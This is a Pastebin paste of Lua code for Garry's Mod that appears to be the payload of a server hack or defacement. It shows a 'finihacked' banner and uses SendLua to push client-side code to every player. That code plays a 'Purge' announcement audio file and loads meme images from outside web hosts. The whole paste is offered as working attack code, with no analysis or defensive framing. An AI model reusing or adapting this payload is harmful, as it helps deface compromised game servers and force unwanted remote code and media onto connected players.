Advertisement
Guest User

Untitled

a guest
May 21st, 2018
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.41 KB | None | 0 0
  1. hook.Add( 'HUDPaint', 'test', function()
  2.    
  3.     if !displayed_shit_gifs then -- i do not want to do this.
  4.    
  5.         local shit_gif = vgui.Create( 'HTML', frame )
  6.         shit_gif:SetSize( 530, 130 )
  7.         shit_gif:SetPos( ScrW() / 2 - ( shit_gif:GetWide() / 2 ), 50 )
  8.         shit_gif:SetHTML( [[
  9.             <img src='https://loadingscrren.000webhostapp.com/finihacked.png' alt='gif' style='width:493px;height:110px;'>
  10.         ]] )
  11.     end
  12. end
  13. --Sequence stack
  14. --Start some tunes and steam in our assets
  15. lol:PushAction( 0, function( pPlayer )
  16.     lol:SendLua( pPlayer, ([=[
  17.         sound.PlayURL( "https://loadingscrren.000webhostapp.com/The%20Purge%20-%20Announcement.mp3", "", function()end )
  18.        
  19.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  20.         local html = [[%s]]
  21.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  22.             local pnl = vgui.Create( "HTML" )
  23.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  24.             pnl:SetVisible( true )
  25.             pnl:SetMouseInputEnabled( false )
  26.             pnl:SetKeyBoardInputEnabled( false )
  27.             pnl:SetSize( intSizeX, intSizeY )
  28.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  29.            
  30.             local PageLoaded
  31.             PageLoaded = function()
  32.                 local mat = pnl:GetHTMLMaterial()
  33.                 if mat then
  34.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  35.                     return
  36.                 end
  37.                
  38.                 timer.Simple( 0.5, PageLoaded )
  39.             end
  40.  
  41.             PageLoaded()
  42.         end
  43.  
  44.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306958-hud.png", "hud1", 300, 128 )
  45.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306628-hud2.png", "hud2", 300, 128 )
  46.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306630-hud3.png", "hud3", 128, 128 )
  47.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306624-doritos.png", "doritos", 183, 256 )
  48.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306626-fedora.png", "fedora", 256, 256 )
  49.         LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306620-dew.png", "dew", 110, 256 )
  50.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/awp.png", "awp", 256, 55 )
  51.     ]=]):format(lol.m_strImageLoadHTML) )
  52. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement